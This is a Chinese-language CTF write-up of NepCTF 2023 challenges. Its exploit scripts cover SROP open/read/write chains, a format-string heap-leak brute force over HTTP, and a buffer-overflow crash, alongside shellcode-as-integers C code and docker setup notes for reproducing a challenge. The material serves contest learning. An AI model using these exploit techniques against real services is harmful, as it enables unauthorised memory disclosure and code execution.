NepCTF2023的wp&dockerfile复现方法

0x00 闲言碎语

2023.8.14 记录11-13的紧张刺激。46名结赛。

非常高兴能够参加NepCTF2023，以一个初出茅庐的新人的身份参加。ctf的乐趣在于学习和探索，同时我也有想证明自己的成分。

连续两天的凌晨四点睡觉，让我体会着比赛的魅力。每当我纠结一道题（code是第一晚，陌生的语言和login是第二晚）到凌晨四点沉沉睡去之后，第二天九点醒来总会伴随着灵光一闪。随后势如破竹解开题目。

真的很满足。

比赛的同时还被其他的一些事情牵制。比较遗憾的是比赛的最后结束一分钟才做出来一道pwn，如果那题做出来我就能杀进前四十，拿到一个证书和贴纸。可是没做出来就是没做出来，谁又能决定当下发生什么呢。

就像三哈师傅说的，ctf的魅力是挑战未知、知识、收获，还有友谊和成长。

这个过程的收获真的很丰富啊，Nep的师傅出的pwn题拓展性强，难度不高，大大的拓展了pwn在我眼里的可能性。而简单的misc也让我看到了网络空间安全世界的各种可能性。

我很享受这个比赛。

不过据说46也有贴纸，我的心里还算是有些安慰。终于能有一次只凭借自己的实力，拿到了一份属于自己的ctf的荣誉啊！

总体来说，也算是满载而归了。打完比赛的时候，后劲很大，回味无穷。仿佛刚刚结束了一场马拉松（虽然我没跑过哈哈哈哈）。

以下的wp是按照当时的解题顺序写的，参照前言也能窥见一二我当时的状态和比赛的乐趣。

0x01 srop

本题算是pwn的签到题目，使用srop手法控制参数。
使用seccomp-tools发现有沙盒，只能使用open，read和write。
难点是调节寄存器，需要一定调试能力。我调了一段时间。

这里orw三个函数goto 0009,0009是return ALLOW说明允许执行。
如果是goto 0010，就是禁用了。

exp前面有一些没用的参数设置（请忽略）。下面exp里有详细的注释。
(这题想走ret2csu打orw，但是卡在call那里了，不知道为什么找不到原因)
我到时候自己再看看，懂的师傅教教
【已解决】要call got表地址才对，我弄成plt了

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn')
#libset('libc-2.23.so')
rsetup('nepctf.1cepeak.cn',30418)
evgdb('b 0x4007A8')

lv = 0x000000000040074e
rsir15 = 0x0000000000400811
rdi =0x0000000000400813
pp6 = 0x40080A
read = 0x400799
bss = 0x601500
r3 = 0x004007F0
nothing = 0x040082c
syscall = 0x004005B0
srop = 0x400750

frame = SigreturnFrame()
frame.rax = 0x20
frame.rdi = 0
frame.rsi = 0 #rdi
frame.rdx = bss #rsi
frame.rcx = 0x400 #rdx
frame.rip = syscall
frame.rsp = bss
#上面这些是设置寄存器参数。
#但是由于是call syscall这个库函数，而不是直接syscall
#寄存器会存在一些偏移，要经过调试得出
#（如上，例如rsi实际上存到rdi去了，rdx的存到rsi了）

sl(b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa'+p64(0x601020)+p64(rdi)+p64(0xf)+p64(syscall)+bytes(frame)+b'flag\x00')
#这边使用rdi传递0xf参数给syscall，进行SROP
#（这里为什么不直接orw？因为无法直接控制rdx，ret2csu行不通，卡在call r12那里，具体原因赛后看看）
##############占个位置，到时候搞清楚了插上旗子【旗子】############3
#所以用srop走

flag = 0x601610
frame2 = SigreturnFrame()
frame2.rax = 0x20
frame2.rdi = 2 #rax
frame2.rsi = flag #rdi
frame2.rdx = 0 #rsi
frame2.rcx = 0x20 #rdx
frame2.rip = syscall
frame2.rsp = flag+8

flag = 0x601610
frame3 = SigreturnFrame()
frame3.rax = 0x20
frame3.rdi = 0 #rax
frame3.rsi = 3 #rdi
frame3.rdx = bss+0x400 #rsi
frame3.rcx = 0x80 #rdx
frame3.rip = syscall
frame3.rsp = 0x601728

flag = 0x601610
frame4 = SigreturnFrame()
frame4.rax = 0x20
frame4.rdi = 1 #rax
frame4.rsi = 1 #rdi
frame4.rdx = bss+0x400 #rsi
frame4.rcx = 0x80 #rdx
frame4.rip = syscall
frame4.rsp = 0x601838
#直接设置参数打orw
sme = p64(rdi)+p64(0xf)+p64(syscall)
pause()
sl(sme+bytes(frame2)+b'flag\x00\x00\x00\x00'+sme+bytes(frame3)+sme+bytes(frame4)+p64(0xdeadbeef))
#栈溢出

ia()

orw拿到flag。

0x02 与AI共舞的哈夫曼

让gpt写一下解压的python，训练一下就可以得到答案。

import heapq
import os

class HuffmanNode:
    def __init__(self, char, freq):
        self.char = char
        self.freq = freq
        self.left = None
        self.right = None

    def __lt__(self, other):
        return self.freq < other.freq

def build_huffman_tree(frequencies):
    heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
    heapq.heapify(heap)

    while len(heap) > 1:
        left = heapq.heappop(heap)
        right = heapq.heappop(heap)
        merged = HuffmanNode(None, left.freq + right.freq)
        merged.left = left
        merged.right = right
        heapq.heappush(heap, merged)

    return heap[0]

def build_huffman_codes(node, current_code, huffman_codes):
    if node is None:
        return

    if node.char is not None:
        huffman_codes[node.char] = current_code
        return

    build_huffman_codes(node.left, current_code + '0', huffman_codes)
    build_huffman_codes(node.right, current_code + '1', huffman_codes)

def compress(input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()

    frequencies = {}
    for byte in data:
        if byte not in frequencies:
            frequencies[byte] = 0
        frequencies[byte] += 1

    root = build_huffman_tree(frequencies)
    huffman_codes = {}
    build_huffman_codes(root, '', huffman_codes)

    compressed_data = ''
    for byte in data:
        compressed_data += huffman_codes[byte]

    padding = 8 - len(compressed_data) % 8
    compressed_data += '0' * padding

    with open(output_file, 'wb') as f:
        # Write frequency information
        f.write(bytes([len(frequencies)]))
        for byte, freq in frequencies.items():
            f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))

        # Write compressed data
        for i in range(0, len(compressed_data), 8):
            byte = compressed_data[i:i+8]
            f.write(bytes([int(byte, 2)]))
def decompress(input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()

    # Read frequency information
    num_symbols = data[0]
    frequencies = {}
    index = 1
    for _ in range(num_symbols):
        byte = data[index]
        freq = (data[index + 1] << 24) | (data[index + 2] << 16) | (data[index + 3] << 8) | data[index + 4]
        frequencies[byte] = freq
        index += 5

    root = build_huffman_tree(frequencies)

    decoded_data = []
    current_node = root
    for byte in data[index:]:
        bits = [int(bit) for bit in f"{byte:08b}"]
        for bit in bits:
            if bit == 0:
                current_node = current_node.left
            else:
                current_node = current_node.right

            if current_node.char is not None:
                decoded_data.append(current_node.char)
                current_node = root

    with open(output_file, 'wb') as f:
        f.write(bytes(decoded_data))


if __name__ == "__main__":
    input_file = 'input.txt'
    compressed_file = 'compressed.bin'
    decompressed_file = 'decompressed.txt'


    # 解压缩文件
    decompress(compressed_file, decompressed_file)

0x03 小叮弹钢琴

本人pwn手+业余音乐人，撞到专业枪口上了（）。
丢进水果。

前面的长长短短是摩斯电码，后面就是数字了，得到信息：

YOU SHOULD USE THIS TO XOR SOMETHING
0x370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17

然后根据前面是NepCTF，去异或试了几下，发现得到的是you，那么就是需要异或YOU SHOULD USE THIS TO XOR SOMETHING这一个字符串无疑了。

去异或了一下得到答案。

# 原始文本和密文
text = "youshouldusethistoxorsomething"
ciphertext = bytes.fromhex("370a05303c290e045005031c2b1858473a5f052117032c392305005d1e17")

# 将文本转换为字节序列
text_bytes = text.encode()

# 逐位异或操作并生成解密结果
decrypted_bytes = bytes([a ^ b for a, b in zip(text_bytes, ciphertext)])

# 将解密结果转换为字符串
decrypted_text = decrypted_bytes.decode()

print(decrypted_text)

0x04 ConnectedFive

下五子棋，下下下下，下赢了就行了。
本题注意的就是要提供稳定的网络环境哈哈哈哈哈别下一半卡了，好多师傅说卡。
嗯，没啥多说的。

0x05 codes

这题很抽象，也是我花时间最长的一题（是不是有点蠢……），所以我花多一点篇幅讲讲。

1.初步尝试：shellcode

在得知sys，env，open，read，write都被过滤之后，作为一个pwn手首先想到了就是使用shellcode。发现\x也被过滤，转而写了个可打印字符串的shellcode，然后又发现不如直接用整数冒充shellcode。

#include <stdio.h>
#include <stdlib.h>
int main() {
    // 声明一个函数指针
    void (*func_ptr)();
        long long int values[] = {
        0x006362616858556a,
        0x5e000001ff685f54,
        0x6858016a5f50050f,
        0xe3c1485b766e652f,
        0x03486e69622f6820,
        0x6a5e5453006a241c,
        0x00000000050f5a08
    };
    func_ptr = (void (*)()) values;
    long long int a = values;
    a = a & 0xfffffffff000;
    mprotect(a, 0x1000, 7);
    // 调用函数指针，执行跳转到字符串
   func_ptr();

    return 0;
}

很帅吧，可惜我没想到出题人这么阴，mprotect也禁了……想尝试写一个/bin/env的sh文件，然后再命令/bin/sh 执行他。也不行捏。

2.字符串拼接posix_spawn

可以执行任意命令，但是env命令没有回显，白给。
并且尝试了子进程创建等等方式，无果。

#include <stdio.h>
#include <string.h>
#include <spawn.h>


int main() {
    pid_t child_pid;
    char path[100] = "/bin/l"; // 初始路径
    strcat(path, "s"); // 

    char *const argv[] = { path, "-l","/dev", NULL }; // 命令行参数，包括路径和命令参数

    int result = posix_spawn(&child_pid, path, NULL, NULL, argv, NULL);
    if (result == 0) {
        // 等待子进程结束
        waitpid(child_pid, NULL, 0);
    } else {
        // 错误处理
        perror("posix_spawn");
    }

    return 0;
}

3.惊人的答案

打印虚空变量即可。

#include <stdio.h>

int main(int argc, char *argv[], char *e[]) {
    for (int i = 0; e[i] != NULL; i++) {
        printf("%s\n", e[i]);
    }

    return 0;
}

0x06 陌生的语言

本题根据提示可知是小魔女学园的月文和龙语。

比较考察搜索能力。有意思的事情是在对照完月文之后，直接搜索提示的人名和小魔女学园HEART IS YOUR MAGIC可以得到flag（相信的心就是你的魔法！）。

不过出题人在前面加了个NEPNEP，所以最后还是灰溜溜查龙文才做出来。

https://tieba.baidu.com/p/4945307221#/
查就完事了。

在这里夸夸手机版bing和百度贴吧，感谢你们强劲的搜索能力和用户的高质量内容。

0x07 login

0.前言碎碎念

这题本来是抢三血的，奈何不知道怎么发送格式，白白浪费了大好时机，凌晨三点半眼睁睁看着三血被抢走。还是没能拿到一个属于自己的前三。

顺便记录一下用dockerfile复现的方式。
参考文章

~/ctf/match/nep2023/review » sudo systemctl restart docker                                       
重启服务                                                                          
~/ctf/match/nep2023/review » sudo docker build -t login . 
执行dockerfile
~/ctf/match/nep2023/review » docker images  
查看是否创建成功
~/ctf/match/nep2023/review » docker run -i -d -P login  
创建容器
~/ctf/match/nep2023/review » docker ps  
查看端口

结束的话使用docker stop docker的名字

给docker的程序调试
ps -ef | grep 'login' 
看进程
sudo gdb attach __id__
来进行debug

docker exec -it <CONTAINER_ID_or_NAME> /bin/bash
进入docker

docker rmi -f <IMAGE_ID>
删除镜像

出题师傅给的附件run.sh要删去

echo $GZCTF_FLAG>/flag.txt 
export GZCTF_FLAG=flag{test}

改为

#!/bin/bash

while true; do
    # 复制 flag.txt
    cp /flag.txt /home/ctf/
    # 在 chroot 环境中执行 login 程序
    chroot /home/ctf /bin/bash -c "/bin/bash -c "./login" "

    # 休眠 60 分钟
    sleep 3600
done

因为我们这儿没有GZCTF的环境变量，不然的话就会像我一样复现不出来flag哈哈哈。

wp

1.静态分析

（取附件方法在2.里头，两个方法）
本题查看ida，发现在登录的时候存在格式化字符串漏洞。

可以查到栈上所有数据。

从这个函数发现flag是被加载到了堆里。

开头执行了这个函数。
所以我们要做的就是在栈上把堆的地址找出来，然后用%s打印出flag。

根据ida的栈值除以8，发现偏移在15090左右，然后用for循环一个一个看，发现15059存在堆地址。（其中第16个是字符串‘./www’的地址，这个是pie地址的，所以可以形成对照确定这个是堆地址而不是程序自身地址）

找到堆地址之后 二分法爆破。
一开始想从前0x1000爆破到后0x1000，有点太慢了，所以改了以已知为中心爆破

2.实施攻击

2.1 下载附件

随便登录一下，一直走到这儿。

因为点击readme.txt之后，得到一个下载链接虽然进不去。但是把readme.txt改成login之后就下载附件了。

输入ip:32769/view_file/login作为链接即可下载附件。

出题师傅的方法是ctrl+u查看源码。（要 学 一 点 web！！！）

然后使用list_flies。

这样是相对路径。

这样就是/的绝对路径了。从这里直接点login也可以下载到，会跳转到刚才我说的链接去。

2.2 调试爆破栈上内存 寻找自己偏移

密码就是随便输入就行，user这里看ida知道是有格式化字符串漏洞。

本身偏移

输入：

结果：

堆偏移

输入：

结果：

2.3 任意地址读

这题学到了GET请求的方式，以及POST，以后遇到http的题目再也不怕啦！
存着好好学学。

要注意，先登录一下，并且点开界面还有readme.txt，让他把堆地址都载入栈中(执行相应malloc)。
注意有时候输出的%s太大会崩……

from evilblade import *
import requests

context.log_level = 'debug'

value = p64(0x55d023f147a0)
#这里写使用%15059$p手动泄露的地址。
value1 = value
value2 = value

url = "http://106.75.63.100:34897/login"
#这里写ip和端口

while True:
    #加的
    value1 = p64(u64(value1)+0x10)  # 增加0x10的步长
    params1 = {
    "user": b'%36$s---' + value1,
    "password": "a"
    }
    #user 这么写是因为本身偏移是35,但是一开始写地址的话存在\x00截断
    #所以把地址写在了后面，就变成偏移36了
    #并且这里除了%36$s还要填充八个字节，保证对齐
    dpx('nows value1',u64(value1))
    response1 = requests.get(url, params=params1)
    dp('message\n', response1.text)
		#dp就是dataprint，我自己库 魔刀千刃evilblade 的实现函数。
    if 'CTF' in response1.text:
        break

    value2 = p64(u64(value2)-0x10)  # 减少0x10的步长
    params2 = {
    "user": b'%36$s---' + value2,
    "password": "a"
    }
    dpx('nows value2',u64(value2))
    response2 = requests.get(url, params=params2)
    dp('message\n', response2.text)

    if 'CTF' in response2.text:
        break

    #sleep(0.1)  # 等待一段时间再继续下一次请求

0x08 HRP-CHAT-3

遗憾离场。

根据源码得知，子程序崩溃后，进入安全模式可以拿到flag。

from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

rsetup('nepctf.1cepeak.cn',31526)
ru(b'help')
sl(b'Login\n')
sla('6',b'Login\n'*0x1000)
#然后随意输入数据d73-16f1-418d-a,乱点回车
#子程序崩溃进入安全模式
#Safe_Mode_Key
ia()

一顿乱打（一定要连续输入回车，溢出info数组）让他崩溃,然后输入Safe_Mode_Key拿到flag。
期待剩下三个flag的解法……到时候看看别人wp学习学习。

0x09 HRP-CHAT-2

抽中角色打败就行了，8.14复现的。
当时人太紧张完全不知道下标是怎么回事。
果然心态心态心态很重要啊……原来直接打败就行了。

0xFF 尾声

最后再次感谢所有Nepnep联合战队成员为比赛做出的贡献！体验非常好！特别感谢HRP师傅对我在pwn方向的一些指导。希望大家一起进步！

NepCTF2024，再见！